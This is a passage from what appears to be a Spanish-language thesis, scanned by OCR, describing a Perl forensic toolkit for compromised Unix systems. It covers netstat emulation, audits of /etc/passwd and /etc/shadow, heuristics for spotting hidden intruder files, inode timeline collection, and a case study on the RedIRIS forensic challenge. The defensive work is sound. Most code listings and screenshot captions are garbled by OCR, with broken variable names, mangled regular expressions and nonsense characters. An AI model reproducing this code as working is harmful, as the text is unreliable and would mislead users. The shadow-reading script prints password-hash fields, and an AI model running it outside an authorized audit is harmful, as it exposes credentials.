fotografia del estado de las conexiones de red en ese instante, lo cual permitira
saber desde donde se establecen las conexiones y hacia donde se dirigen. Para
lograr la tarea descrita se toma como base la informacion que aparece en
/proc/net/tcp y /proc/net/unix, cada uno de estos archivos contiene el estado de
la red, tanto a nivel local como a nivel remoto, a nivel local lo que nos interesa
son los sockets abiertos, y a nivel remoto, los puertos que se encuentran en
espera de una conexion (Figura 4.5).

open(TCP,$net_proc."/tcp") or die "Problema al abrir /proc/net/tcp\n”;
head();

print "Proto\tLocal Address\tForeing Address\tState\n";
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while(<TCP>)
if($_=~/[0-9]+:[0-9]+/)

@linea=split(/[\t ]+/,$);
($local_hexip,$local_hexport)=split(/:/,$linea[2]);

foreach $i (0 .. 3){push(@Iocal_ip,hex(substr($local_hexip,($i*2),2)));}
$int_ip="$local_ip[3].$local_ip[2].$local ip[1].$local ip[0]";
$int_port=hex($local_hexport);

($rem_hexip,$rem_hexport)=split(/:/,$linea[3]);
foreach $i (0 .. 3){push(@rem_ip,hex(substr($rem_hexip,($i*2),2)));}
$ext_ip="$rem_ip[3].$rem_ip[2].$rem_ip[1].$rem_ip[0]";
$ext_port=hex($rem_hexport);
$state=$lista_estados[hex($linea[4])];
print "tcp\t$int_ip:$int_port\tSext_ip:$ext_port\t$state\n”;
}

@local_ip=();
@rem_ip=();
}
tail();
close(TCP);

Figura 4.5 Lineas de codigo que emulan al comando netstat en los sistemas Unix.

El formato HTML (Figura 4.6) y el modo texto (Figura 4.7) son los se
muestran a continuacion, en ambos se puede apreciar que la informacion
presentada es la que se requiere para averiguar el estado de las conexiones de
red.

e Revisidon de las cuentas del sistema (check_shd.pl y
check_pwd.pl)

Cuando algun usuario se conecta al sistema debe introducir su username y
contrasefia como parte del mecanismo de autenticacion para acceder al sistema
de computo, ambos datos son verificados en una base de datos de los usuarios
validos para el sistema, tal informacion estad contenida en /etc/passwd y en
/etc/shadow.
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Figura 4.6 Estado de las conexiones de red en formato HTML

TIME_WAIT
SED_WAIT

ED_WATT
O_WAIT
LISHED
LTISHED
LISHED

Figura 4.7 Estado de las conexiones de red en modo texto
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Cuando un sistema es comprometido es comudn que los archivos mencionados
sean modificados de modo que el intruso pueda acceder en cualquier momento
sin ningan problema, las modificaciones encontradas la mayoria de las veces
corresponde al cambio de pardmetros en los campos del password, del UID y
del GID.

El script generado para realizar la tarea de revisar la estructura de los archivos
consiste en verificar:

« Que el campo del password en el archivo /etc/passwd no sea un campo
vacio y que no contenga mas de un carécter x para aquellas cuentas
deshabilitadas.

« Que el UID del usuario sea distinto de cero y que los UID sean unicos,
esto es, que sean distintos unos de otros.

« Que el GID sea distinto de cero.

. En el archivo /etc/shadow se verifica que el campo del password no sea
nulo, ademaés de verificar parametros tales como el nimero de dias en
que el password fue cambiado, el nimero de dias que sera valido, el
numero de dias que deben transcurrir para pueda ser modificado y el
numero de dias maximo en que el password debe ser el mismo.

El dltimo punto descrito cominmente no es tomado en cuenta por los
administradores de sistemas de computo, lo cual permite que el riesgo de
sufrir una intrusion sea alto, pues no existe una politica para que los passwords
se renueven constantemente, lo cual los hace viejos y con riesgo a ser
descubiertos.

Ahora veamos un poco del cddigo (Figura 4.8) con el fin de explicar las lineas
méas importantes que realizan las actividades mencionadas, ademas de
visualizar la informacion en formato HTML (Figura 4.9).

open(PW,$file_passwd) or die "Problemas al abrir el archivo $file_passwd\n";
@passwd = <PW>;
foreach $linea (@passwd)

chomp $linea;
@campos = split(/:/,$linea,7);

print PS "A<STR>\n\t\t<TD>$campos[0]</TD>\n\t\t<TD> Password nulo o esta
violando este campo </TD>\n\t</TR>\n"
if($campos[1] =~ /(["}X\*1|("$))/);
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print "Cuenta $linea_pwd[0] posee privilegios de administracion\n"
if ($campos[2] == 0 && $campos[0] !~ /root/);

print PS "\t<TR>\n\t\t<TD>$campos[0]</TD>\n\t\t<TD> Viola la cantidad de
campos requeridos </TD>\n\t</TR>\n"
if ($#campos = 6);
}

Figura 4.8 Lineas de codigo para revisar el archivo /etc/passwd en los sistemas Unix.

La funcidn split separa cada linea del archivo /etc/passwd en los 7 campos que
la componen, esto se hace con el fin de revisar los campos de interés, una vez
que ya estan separados se procede a la verificacion de las condiciones, si no se
encuentra ninguna anomalia, no se envia ninguna alerta, si sucede lo contrario,

la alerta correspondiente serd generada y mostrada en pantalla.

[A][Mozila100 [x

. File Edit Wiew Go Bookmarks Tools Window Help

- @QO @ @ |[S flesiimniceryF ORENSE/RESULTADOS ] (G Seareh | «:E"-':Zo

-- 4 Home  BBockmarks = The Mozilla Grgani... S Latest Builds
| < (Untitledl) | @ Departamento de S... | & Cambridge Dictiona... | % (Untitled) IX]

Analisis del /etc/passwd

username [Causa

daemon |[Password nulo o esta violando este campo) —
Ip [iola lacantidad de campos requeridos
nobody ||Pa55word nule ¢ esta violando este campo

curses  ||Password nulo o esta violando este campo

||username ppasswd [userlD grouplD jgecos ~ Homedirectory [Shell
([root = [[o o [[root [#root |binvbash |
I|bir1 = [l1 [l1 [[bin [6in |lebin/nologin |
[daemon | 2 2 [daemon |l/sbin [ebinnologin |
[adm = 3 [l4 [ladm [/varfadm [ebin/nologin |
[tp = [l4 |7 |l#varfepoot/ipd |/sbindnologin | =
m | I[E &F EA | Document: Dong (0419 secs) =i~ ;57 =

Figura 4.9 Analisis del archivo /etc/passwd
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Ahora se muestra el codigo (Figura 4.10) para la revision del archivo
/etc/shadow.

my $seg_min_dias=60*60*24;

my $file_shadow="/etc/shadow";

my @cont_shadow=();

my $i;

$epoch_dias_actual=int(time()/$seg_min_dias);

open(SD,$file_shadow) or die "Problema al abrir archivo $file_shadow";

while(<SD>)

{
chop;
@linea_shd=split(/:/,$_,9);
$ultimo_cambio_pwd=$epoch_dias_actual-$linea_shd[2];
$expira=$epoch_dias_actual-$linea_shd[7];
print"$linea_shd[0]\t$linea_shd[1]\tSultimo_cambio_pwd\t$linea_shd[3]\t
$linea_shd[4]\t$linea_shd[5]";

¥

Figura 4.10 Lineas de codigo para revisar el archivo /etc/shadow en los sistemas Unix.

La base de las operaciones realizadas en el script es la informacion de los
campos del archivo /etc/shadow, de modo que simplemente se realizan
diferencias entre el nimero de dias que ahi aparecen para mostrarlas en
pantalla en un modo entendible por el humano. El resultado de ejecutar tal
script se puede visualizar en formato HTML (Figura 4.11).

e Identificacion de patrones de intrusion (patrones.pl)

Cuando sucede una intrusion en el sistema de cdmputo, existen varios
patrones de comportamiento que llevan a cabo los intrusos, por ejemplo:

« Colocar archivos y directorios ocultos en el sistema, tales archivos y
directorios tienen la caracteristica de que inician con uno o mas puntos

(o)

« Colocar archivos y directorios bajo /proc 6 /dev
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. File Edit View Go Bookmarks Tools Window Help
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& @7 EA |Document; Done 50.884 secs! ﬁi‘l

Figura 4.11 Analisis del archivo /etc/shadow

El codigo fuente que realiza la revision tiene la intencion de emular al binario
find de tal modo que si ese archivo fue sustituido por un caballo de Troya, el
administrador de sistemas contarad con una herramienta segura y confiable para
realizar una revision rapida del sistema.

$path_dir=$path_dir."/" if($path_dir '~ \/$/);
opendir(DIR,$path_dir) or print "Problema al abrir dir $path_dir\n";
@contenido_dir=readdir(DIR);
foreach $i (@contenido_dir)
{
$path="$path_dir"."$i";
next if($path =~ m\N\.{1,2}$/ or $path =~ m/"\/proc\\d+/);
patrones($path);
dir_tree($path) if ( -d $path and (! -1 $path));
check_dev($path) if($path =~ /"\Vdev/);
}

Figura 4.12 Lineas de codigo para identificar patrones de intrusion.
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Al igual que el binario find, este script (Figura 4.12) toma como base la ruta
absoluta que el usuario proporciona desde linea de comandos para comenzar a
recorrer el sistema de archivos desde ese punto jerarquico hacia niveles
inferiores. Si se encuentra que los elementos inferiores del punto dado son
archivos, la revision se realiza de inmediato, pero si se trata de un directorio,
la ruta absoluta de éste es guardada en un arreglo para su posterior acceso y
revision.

En el momento que el script detecta archivos y directorios con la caracteristica
establecida, se imprime en pantalla (Figura 4.13) la linea correspondiente. El
proceso para realizar esta tarea es tardado, pues se debe recorrer el sistema de
archivos desde el punto dado por el usuario. Es recomendable que se ejecute
con privilegios de superusuario si se accedera a directorios que no son
propiedad del usuario quien ejecuta el script.

B [x

. File Edit View Go Bookmarks Tools Window Help

. @QO @ ) [S flesiomersalavez TESISISCRIPTS/ANALL | [Cy Search | Cfi;o

. 4 Home | B3Bookmarks & The Mozila Crgani... % Latest Builds

Busqueda de patrones

Codigo Causa

Adv, [F1 |fusrfsharefdocfconsole-too15-1ibsfexamplesfmicodefﬁmﬂﬁmﬂ
Advy. [F2] | /homefsalavez/OFEN fmlnerablass oo hola mundo
Adv, [F2] |/home/salavez/PEOYECT O/, sergio

Adv. [P3] | /homefsalavez/FROYECTO/. tres

Adv, [F3] |/homefsalavez/FPROYECT Q.. cuatro

Adv. [fdev]| fdev/initetl

Adv, [/dev]| fdevilog

Adv, [fdev]| /devizconsole

Adv. [/dev]||/dev/gpmdata

Adv, [/dev]||/dev/printer

]
]
]
]

I & eF E  Document Done (0439 secs) =l P
1

Figura 4.13 Resultado de la busqueda de patrones.
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e Recopilacion de caracteristicas del sistema de
archivos (analisis.pl)

Hasta este punto de la creacion de los scripts, se han desarrollado con el fin
tener herramientas seguras y confiables para emular a comandos del sistema
que comunmente se reemplazan en una situacion de compromiso.

Ahora el script desarrollado toma un poco la estructura y la filosofia del
binario find para detectar de manera mas practica y completa las
modificaciones que se hayan realizado al sistema de archivos durante el
compromiso de éste. Para lograr tal propdsito, ahora ademas de recorrer el
sistema de archivos desde un nivel jerarquico superior hasta su altimo nivel,
también es necesario el tomar ciertas propiedades de cada archivo y directorio
que el sistema posee. La informacidn de que se habla, la estructura de datos
Ilamada inodo nos la proporcionara, tal estructura, como ya se habia descrito
en capitulos anteriores, posee:

. El dispositivo en el que se aloja el archivo.
« Su numero de inodo en el sistema de archivos.
« Los permisos referentes a este.

. El nimero de ligas que el archivo posee.

« EL dueio del archivo, mediante su UID.

« El grupo a que pertenece.

. El tamafio, expresado en bytes.

« El tiempo de modificacion.

« El tiempo de acceso.

« El tiempo de cambio.

« El nombre del archivo.

De la lista de propiedades del inodo, ningin elemento es menos importante
que el otro, esto se debe a que al realizar un andlisis forense del equipo de
cémputo comprometido, todo el sistema puede aportar elementos que ayuden
a determinar por donde se gener0 el acceso al sistema y, qué actividad realizo
el intruso durante su estancia en éste.

El principal objetivo de realizar este script, es el tener un amplio panorama del
sistema de archivos, pero sin tener la necesidad de estar navegando en éste de
un lugar a otro y perder evidencias de la intrusion.
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Al ejecutar el script, éste comienza a recorrer el sistema de archivos, toma las
propiedades de cada inodo y almacena los datos en dos archivos de texto, los
cuales son considerados una base de datos en texto plano, un primer archivo es
Ilamado lista_archivos_crudo.out, en éste, los datos obtenidos son
almacenados tal cual se han extraido, esto es, las lineas estan compuestas por
caracteres numeéricos, lo cual resulta complicado leerlos y dar una conclusién
acerca del estado del sistema de archivos. En un segundo archivo llamado
lista_archivos.out se gaurdan los datos, pero a diferencia del primero, en éste,
los mactimes ya han sido procesados y guardados en un formato entendible
por los humanos. La intencidén de que existan dos archivos con informacion
similar, es que se presentan casos en que los intrusos ejecutan codigo
malicioso y logran dafiar el modo grafico del sistema, permitiendo visualizar
datos solamente en modo texto, es entonces cuando es util poseer datos
entendibles por nosotros los humanos, no solamente por la maquina.

Al tiempo que se extrae la informacion del inodo, tambien se procesa para
identificar cual de ellos es candidato a una revision a detalle, por ello se
generan cuatro archivos maés.

« ocultos.out contiene la ruta absoluta de los archivos ocultos bajo la
jerarquia de analisis del sistema de archivos.

« sgid.out almacena los nombres de archivos que tienen activado el set
group Id.

« suid.out guarda los nombres de archivos que tienen activado el set user
Id.

Cabe mencionar que los atributos del inodo son almacenados en el siguiente
orden.

« dev

o rdev
. inodo
« Mmode
e link

o uid

. gid

. Size

« Mmtime
. atime
« Ctime
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e« nombre

A continuacidn se presentan algunas lineas de datos de cémo se ve el archivo
lista_archivos_crudo.out (Figura 4.14) y lista_archivos.out (Figura 4.15). Los
elementos aparecen en el orden que se ha descrito.

779|0[57073[7551|0]0[34572|1089977825|1108240708[1106760869)/bin/chown
779|0|57074|755(1/0|0]51212|1089977825|1107996770|1106760869|/bin/cp
779|0|57075|755(1|0]0]42764|1089977825|1108240728|1106760869)/bin/date
779|0|57076|755(1/0|0|28588|1089977825|1108240705|1106760869|/bin/dd
779|0|57077|755(1|0|0|31724|1089977825|1107912421[1106760869|/bin/df
779|0|57078|755/1/0|0|75948|1089977825|1106760868|1106760869|/bin/dir
779|0|57079|7551/0|0|13912|1089977825|1108219091|1106760869|/bin/echo
779|0|57080|755/1/0|0|11640|1089977825|1106760868|1106760869|/bin/false
779|0|57081|755(1|00[23096|1089977825|1108219091[1106760871}/bin/In
779|0|57082|755/1/0|0|75948|1089977825|1108243046|1106760871/bin/ls
779|0|57083|7551/0]0]20888|1089977825|1108240708|1106760871}/bin/mkdir
779|0|57084|755/1]0|0|19180|1089977825|1106788837|1106760871|/bin/mknod
779|0|57085|755|1|0]0|55340|1089977825|1108240705|1106 760871 /bin/mv

Figura 4.14 Lineas de datos del archivo lista_archivos_crudo.out

779|0|57073|755|1|0|0|34572|Fri Jul 16 06:37:05 2004|Sat Feb 12 14:38:28 2005|Wed
Jan 26 11:34:29 2005|/bin/chown

779|0|57074|755|1|0|0|51212|Fri Jul 16 06:37:05 2004|Wed Feb 9 18:52:50 2005|Wed
Jan 26 11:34:29 2005|/bin/cp

779|0|57075|755|1|0|0|42764|Fri Jul 16 06:37:05 2004|Sat Feb 12 14:38:48 2005|Wed
Jan 26 11:34:29 2005|/bin/date

779|0|57076|755|1|0|0|28588|Fri Jul 16 06:37:05 2004|Sat Feb 12 14:38:25 2005|Wed
Jan 26 11:34:29 2005|/bin/dd

779|0|57077|755|1|0|0|31724|Fri Jul 16 06:37:05 2004|Tue Feb 8 19:27:01 2005|Wed
Jan 26 11:34:29 2005|/bin/df

779|0|57078|755|1|0|0|75948|Fri Jul 16 06:37:05 2004|Wed Jan 26 11:34:28 2005|Wed
Jan 26 11:34:29 2005|/bin/dir

779|0|57079|755|1|0|0|13912|Fri Jul 16 06:37:05 2004|Sat Feb 12 08:38:11 2005|Wed
Jan 26 11:34:29 2005|/bin/echo

779|0|57080|755|1|0|0|11640|Fri Jul 16 06:37:05 2004|Wed Jan 26 11:34:28 2005|Wed
Jan 26 11:34:29 2005|/bin/false

779|0|57081|755|1|0|0|23096|Fri Jul 16 06:37:05 2004|Sat Feb 12 08:38:11 2005|Wed
Jan 26 11:34:31 2005|/bin/In

779|0|57082|755|1|0|0|75948|Fri Jul 16 06:37:05 2004|Sat Feb 12 15:17:26 2005|Wed
Jan 26 11:34:31 2005|/bin/Is

779|0|57083|755|1|0|0]20888|Fri Jul 16 06:37:05 2004|Sat Feb 12 14:38:28 2005|Wed
Jan 26 11:34:31 2005|/bin/mkdir
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779|0/57084|755|1|0]0]19180|Fri Jul 16 06:37:05 2004|Wed Jan 26 19:20:37 2005|Wed
Jan 26 11:34:31 2005|/bin/mknod

779|0/57085|755|1|0]0|55340|Fri Jul 16 06:37:05 2004|Sat Feb 12 14:38:25 2005/Wed
Jan 26 11:34:31 2005|/bin/mv

Figura 4.15 Lineas de datos del archivo lista_archivos.out

Se puede apreciar que su aspecto cambia, sin embargo aportan la misma
informacion.

Ademas de los archivos ya descritos y que se generaron durante la ejecucion
del script, también se respaldan archivos que le sirven al sistema para llevar la
administracion. Entre la recopilacion de archivos que se realiza, se encuentran
los siguientes:

. fstab

« group

« inittab

« Messages
. passwd

. Secure

. shadow

« syslog

Cada uno de estos archivos seran utiles para detectar errores que se hayan
generado en el sistema, lineas que hayan sido eliminadas, agregadas o
sustituidas, cambios a los scripts de inicio del sistema, entre otros datos que
surga la necesidad de revisar al momento de realizar el analisis forense.

Después de haber proporcionado una descripcion del comportamiento del
script (Figura 4.16), ahora se presentan algunas lineas de codigo que realizan
las tareas descritas.

($dev,$inodo,$mode,$link,$uid,$gid,$rdev,$size,$atime, $mtime,$ctime, Sblock,$blbks) =
Istat($_[O]);

$mode_tmp = $mode & 07777,

$mode_tmp = sprintf "%lo",$mode_tmp;

$en_crudo =
join('',$dev,$rdev,$inodo,$mode_tmp,$link,$uid, $gid,$size, $mtime,$atime,$ctime,$_[0]);

Figura 4.16 Lineas de codigo para obtener la informacidn de inodos en el sistema de
archivos en los sistemas Unix.
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La funcion Istat propia de Perl obtiene los datos del inodo, de tal modo que
cada elemento que extrae se guarda en las variable correspondientes, por
ejemplo en $dev se guarda el dispositivo en el que se encuentra el archivo,
$uid contiene el usuario al que pertenece el archivo, lo mismo sucede con las
demas propiedades del archivo. En $mode_tmp se guarda después de haber
sido procesado el dato de los permisos del archivo, finalmente, se unen todos
los elementos mediante la funcion join, la cual va a colocar el simbolo pipe (|)
entre las propiedades del archivo, esto con el fin de que no se confundan los
datos. Es importante mencionar que este script no genera ninguna interfase
gréfica para el usuario, simplemente le indicara de posibles errores o de su
correcta ejecucion.

e Organizacion de la informacion obtenida de los inodos
(build_up.pl)

Una vez que las bases de datos (Figura 4.15 y 4.16) han sido generadas es
necesario contar con herramientas para interpretarlas y presentar la
informacion de una manera no saturada y de facil visualizacion para la
persona que la utilice al realizar el anélisis forense.

El elemento clave que se toma como base para presentar la informacién son
los tiempos mac de cada unos de los archivos que ahi se encuentran, con tal
elemento, se realiza una basqueda de archivos que coincidan con las fechas de
interés, las cuales se determinan a partir de los procesos y comportamiento
fuera de lo normal del sistema de computo. Al final del proceso de busqueda
se tendran tres archivos distintos en un formato HTML, en los cuales sélo se
incluyen los archivos que coincidan con las fechas de bdsqueda, con ello se
logra identificar en el sistema de archivos aquellos que fueron utilizados,
modificados o creados durante la intrusion.

Los archivos que se generan en formato HTML permitiran al analizador viajar
en el tiempo, lo cual le permitird el reconstruir secuencias de eventos
sucedidos en el pasado, ademas de permitirle correlacionar informacion de
diferentes fuentes, esto es, en esta reconstruccion de eventos pueden surgir
elementos que ayuden a determinar el por donde se origin6 el compromiso del
sistema.
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Un elemento mas, es el nimero de inodo, el cual nos puede decir mucho
acerca de la actividad del intruso y de los archivos y directorios generados. A
partir de identificar un nimero de inodo que se involucre con la intrusion, se
pueden ordenar los archivos respecto a éste nimero, de tal modo que se tenga
un listado ordenado, en el cual serd posible identificar qué otros archivos
fueron creados y en qué orden, lo cual ayuda a determinar el propdsito de la
intrusion en el sistema.

Ahora se presenta parte del cdédigo Perl (Figura 4.17) que realiza esta
actividad.

foreach $actual (@lista_crudo)

@linea = split(/\|/,$actual);
if($linea[8] <= $fecha_final && $linea[8] >= $fecha_inicial)
{

chomp($linea[11]);

Sactual=$linea[11]."|".$linea[8]."|".$linea[9]."|".$linea[10]."|".$linea[0]."|".$linea[1].
"|".$linea[2]."|".$linea[3]."|".$linea[4]."|".$linea[5]."|".$linea[ 7];
print MT "$actual™;
}
}
print "Esto es lo que se manda a ordena $_[0]\n";

ordena($_[0]);
print "Busqueda terminada\n”;

Figura 4.17 Lineas de codigo para organizar la informacion contenida en el archivo
lista_archivos_crudo.out

La ejecucion de este script generard hasta cuatro salidas distintas, las tres
primeras tienen el objetivo de mostrar los archivos ordenados con base en su
tiempo mac (Figura 4.18) y la cuarta el de mostrar los archivos ordenados por
inodo (Figura 4.19).
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= QF Document: Done (1.571 secs

Figura 4.18 Archivos ordenados por tiempo de acceso (tercer columna).
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Figura 4.19 Archivos ordenados por nimero de inodo (primer columna).
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4.4 Pruebas

La etapa de pruebas representa un punto mas en el desarrollo del toolkit para
andlisis forense, pues es en ésta en donde se verifica el objetivo, de tal forma
que permite descubrir errores tanto a nivel de codigo como en la estructura del
propio sistema.

La calidad del trabajo que desarrollara el toolkit debe ser de un alto grado,
pues de esto depende que el sistema de computo no sufra modificaciones y
que continte como evidencia ante un posible proceso legal.

El toolkit fue desarrollado con la idea de tener varios scripts que realizaran
cierta tarea y la realizaran bien, con tal filosofia el revisar las lineas de codigo
que componen cada uno de los elementos del toolkit resulta facil, pues con tal
disefio se logro tener cierta modularidad, lo que permitio realizar tareas
complicadas a través de varios scripts.

En cuanto a la revision del toolkit en su conjunto se realizaron varias pruebas,
las cuales ayudaron para establecer cierto codigo de colores a la interfase
creada, tal codigo ayuda a la persona que realice el analisis forense a calificar
la gravedad de los eventos que el toolkit haya encontrado.

Las pruebas al toolkit también incluyeron el verificar que la informacion
presentada fuese la correcta y que no estuviese ocultando parte de ella.

4.5 Mantenimiento

La etapa del mantenimiento del proyecto resulta ser de las mas importantes,
pues es en ésta en donde se actualiza lo ya creado, con qué fin, con el fin de
incrementar el alcance del reconocimiento de patrones de intrusion, ademas de
agregar nuevas caracteristicas que permitan el realizar un analisis forense
confiable.

En esta etapa y dependiendo del desarrollo de las técnicas de intrusion, la
modularidad del toolkit permite modificar lineas de codigo en un script
especifico, o bien, el crear nuevos scripts que permitan ejecutar nuevas tareas
y simplemente agregarlas a la interfase de usuario. Como se puede notar, las
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necesidades para realizar andlisis forense seran las que determinen si el
mantenimiento sera perfectivo, adaptativo o correctivo.
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Caso practico

5.1 Caso practico

Con el fin de establecer un nivel de utilidad de la herramienta desarrollada, se
ha dedicado este capitulo para analizar el Reto Forense version 1.0 lanzado
por RedIRIS en el afio 2002, a continuacion se muestran los aspectos
relacionados con el andlisis forense y la normativa que éste sigue. Tal Reto
Forense fue dirigido a los expertos de seguridad en computo hispanohablantes
de las universidades espafiolas, centros afiliados a RedIRIS y a usuarios de
Internet en general, tal andlisis se realizd sobre un sistema Linux previamente
atacado y comprometido.

El analisis forense es una de las areas de la seguridad informatica que mas ha
evolucionado en los ultimos afios, teniendo como principales objetivos la
respuesta a las preguntas que suelen hacer ante un ataque informatico.

Quién realizo el ataque.

« Como se realizo el ataque.
Qué hizo el atacante.

Por qué accedio al sistema.

Para regular el proceso del analisis forense, el comité organizador puso a
disposicion de los participantes las reglas que éste proceso seguiria, en
algunos de ellos se habla de casos particulares que para nuestro fin no
importan, pues el concurso se llevé a cabo 3 afios atras.

5.2 Normativa

1. Se puede utilizar cualquier herramienta o técnica que se desee para
realizar el andlisis, siempre y cuando los jueces puedan interpretar los
resultados o verificar su exactitud utilizando medios disponibles
publicamente.

Independientemente de los métodos que se utilicen, se deben explicar a
lo largo del andlisis citando referencias a otras fuentes de informacion
(como pueden ser RECs', documentos del CERT® o del SANS’

! Request For Comments
2 Computer Emergency Response Team
3 SysAdmin Audit Network Security
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Institute) para que otras personas puedan aprender leyendo el analisis
(aprender con ejemplos). No olvidar que ésta es una idea del proyecto
Honeynet" asi que se trata de aprender, y también de divertirse.

. Se puede trabajar como parte de un grupo, pero si el analisis resulta

ganador, el premio tendra que ser compartido entre todos.

. Enviar los resultados del anéalisis de forma que los jueces puedan tratar

la informacién de manera sencilla, rapida y de modo que su
autenticidad, tiempo de produccién e integridad pueda ser verificado de
forma independiente.

. Se deberan enviar los siguientes archivos:

e Un informe técnico de la intrusidon donde se comente en
profundidad al andlisis realizado.

« Un archivo de texto donde se indique el nombre del autor.

Una vez que las reglas han sido puestas sobre la mesa, es tiempo de trabajar.

5.3 Laboratorio forense

En capitulos previos se ha mencionado la necesidad de establecer un
laboratorio forense con ciertas caracteristicas de seguridad con el fin de tener
la certeza que los resultados obtenidos como parte del analisis forense por
realizar, sean totalmente confiables.

El sistema operativo que se utilizo para realizar el andlisis fue un
sistema Linux Debian (woody). Se eligid6 esta version del sistema
operativo debido a que presenta un buen rendimiento de acuerdo a las
necesidades.

Utilerias de Unix confiables con el fin de asegurar que los datos que se
obtengan del anélisis sean 100 veridicos.

Toolkit para analisis forense. Se utilizard solamente el software
desarrollado para este trabajo de tesis.

Disco duro secundario de 40 Gigabytes de capacidad.
Conexion a Internet de banda ancha.

Navegador Web, en este caso se utilizo Mozilla, debido a las
caracteristicas que presenta para el manejo de varios tabuladores en el

* www.honeynet.org
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mismo navegador.

« Editor de textos y papel para llevar las bitacoras del analisis.

5.4 Archivos fuente

Los archivos con la informacion del disco duro del sistema atacado pueden ser
descargados del Area de Seguridad del Servidor FTP de RedIRIS®.

Para facilitar la descarga, RedIRIS proporciona un sélo archivo comprimido
conteniendo las imagenes de las particiones.

Al descomprimir el archivo se puede ver que existen las imagenes del disco
duro y un archivo de texto (ficheros.txt) el cual contiene la firma md5 de cada
uno de los archivos y el punto de montaje original.

A continuacion se muestran los comandos del sistema Unix utilizados para
obtener y desempaquetar los archivos obtenidos de
ftp://ftp.rediris.es/rediris/cert/ped/reto/192.168.3.10.tar.bz2

tar -jxvf 192.168.3.10.tar.bz2

Al descomprimir y desempaquetar el archivo se tiene lo siguiente (Figura 5.1).

# Is —la

-rw-r--r-- 1 root root 57544704 nov 11 19:44 192.168.3.10-hdal.dd
-rw-r--r-- 1 root root 1686147072 nov 11 19:48 192.168.3.10-hda5.dd
-rw-r--r-- 1 root root 1686147072 nov 11 19:52 192.168.3.10-hda6.dd
-rw-r--r-- 1 root root 271401984 nov 11 19:52 192.168.3.10-hda7.dd
-rw-r--r-- 1 root root 271401984 nov 11 19:53 192.168.3.10-hda8.dd
-rw-r--r-- 1 root root 205598720 nov 11 19:53 192.168.3.10-hda9.dd
-rw-r--r-- 1 root root 359 nov 11 20:11 ficheros.txt

Figura 5.1 Contenido de 192.168.3.10.tar.bz2

Del listado mostrado (Figura 5.1), los archivos con terminacién dd
corresponden a las imagenes de las particiones del disco duro de la maquina
comprometida. El archivo ficheros.txt (Figura 5.2) contiene las firmas
mdSsum de cada una de las imagenes, tales firmas son tutiles para comprobar
la integridad de cada archivo. A continuacion se revisan las firmas mdSsum
(Figura 5.3).

> www.rediris.es/cert/ped/reto/
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# cat ficheros.txt

b258F21b93e0eaal f605dFd47d3F66F4 192.168.3.10-hdal.dd /boot
0b8261207¥81bbc294bd059302a3558a 192.168.3.10-hda5.dd /usr
87669b6e6939619cdbc8Ff8dfba574c4 192.168.3.10-hda6.dd /home
29ac32347b0bdda0659c061b46dce9e4 192.168.3.10-hda7.dd /var
4eedl1213ed2aaad8f26e3edffd8a888d 192.168.3.10-hda8.dd /

Cc7da26612f6F7b318Fb79064€2909500 192.168.3.10-hda9.dd swap

Figura 5.2 Contenido del archivo ficheros.txt

# mdbsum *.dd

b258F21b93e0eaal f605dfd47d3f66f4 192.168.3.10-hdal.dd

0b8261207181bbc294bd059302a3558a 192.168.3.10-hda5.dd

87669b6e6939619cdbc8fFf8dfha574c4 192.168.3.10-hda6.dd

29ac32347b0bdda0659c061b46dce9e4 192.168.3.10-hda7.dd

4eed1213ed2aaad48f26e3edffd8a888d 192.168.3.10-hda8.dd

c7da26612f61t7b318Tb79064€2909500 192.168.3.10-hda9.dd

Figura 5.3 Firmas mdSsum de los archivos

Como se puede ver, el contenido del archivo ficheros.txt (Figura 5.2) ademas
de contener las firmas md5, también indica el punto de montaje de cada una
de las imagenes disponibles.

5.5 Punto de montaje

Una vez que la integridad de los archivos (imagenes del disco del sistema
comprometido) ha sido comprobada se montaran en el sistema de archivos
(Figura 5.4) respetando los puntos de montaje indicados, la imagen que
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corresponde a / se montara bajo /mnt, se realizara de este modo para continuar
la buena practica y respetar el punto de montaje estandar en los sistemas Unix.

mount -o ro,loop,noexec,noatime,nodev,nosuid 192.168.3.10-hda8.dd /mnt/root/
mount -o ro, loop,noexec,noatime,nodev,nosuid 192.168.3.10-hda5.dd /mnt/root/usr
mount -o ro,loop,noexec,noatime,nodev,nosuid 192.168.3.10-hda6.dd /mnt/root/home/

mount -o ro, loop,noexec,noatime,nodev,nosuid 192.168.3.10-hda7.dd /mnt/root/var/

Figura 5.4 Montaje de las imagenes del sistema comprometido.

Mediante las lineas de comando anteriores (Figura 5.4) se han montado las
imagenes del sistema de archivos del equipo comprometido, las opciones
proporcionan ciertas caracteristicas, las cuales se mencionan a continuacion:

o 10 - Se accedera a la particion en modo so6lo lectura, por lo tanto la
escritura estd prohibida. Se lleva a cabo esta practica para no
contaminar la evidencia de computo.

o noexec - No se permite la ejecucién de los binarios del sistema
montado. Esta opcion es util para servidores que tienen un sistema de
archivos con arquitectura distinta a las imagenes montadas.

o noatime - No se permite la actualizacién al tiempo de acceso en el
inodo.

o nodev - No interpretara dispositivos especiales, sean de bloque o
caracter.

« nosuid - No se permite que archivos con set-user-identifier o set-group-
identifier activado tengan efecto.

5.6 Estudio inicial de la maquina

5.6.1 Distribucion

Revisando los archivos del sistema se ha determinado que el sistema
comprometido se trata de un Red Hat 7.1

5.6.2 Servicios levantados

Al revisar el nivel en el que levantaba el equipo de computo, podemos ver que
el sistema lo hacia en el nivel 3.
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Con base en la informacion obtenida, se revisaron los scripts de inicio para el
nivel 3, esto se puede ver en el directorio /etc/rc3.d/ Entre los servicios que el
sistema activaba al inicio se encuentran:

o Sendmail

« Secure Shell

o Iptables

 Ipchains

Mediante xinetd el servicio de ftp era activado.

5.7 Obteniendo una foto del sistema

Una vez que las imagenes del sistema comprometido han sido montadas y se
tiene pleno acceso a ellas con la seguridad que no se modificaran, ahora se
puede comenzar a extraer datos de ellas. Para realizar la extraccion de datos se
ejecutara el script llamado analisis.pl (Figura 5.5) y después de ejecutarlo se
comenzara a analizar la salida de éste. El script analisis.pl® forma parte del
toolkit desarrollado.

Para ejecutar analisis.pl se debe hacer con privilegios de superusuario.

# ./analisis.pl

Usar: [opciones]

Opciones:
--help Muestra esta informacion
-0 Ruta absoluta del directorio de salida
-p Ruta absoluta desde se analizara el sistema de archivos

Figura 5.5 Ayuda del usuario de analisis.pl

Como parte de la ayuda para los usuarios del toolkit se presenta en la salida
estandar (Figura 5.5) el modo en que se debe ejecutar el script. Utilizando las
opciones presentadas se ejecutara analisis.pl

% Se pueden ver detalles en el Anexo



Caso practico

# ./analisis.pl -p /mnt/ -o files

Figura 5.6 Ejecucion de analisis.pl

Lo que se estd indicando (Figura 5.6) es que el analisis del sistema se
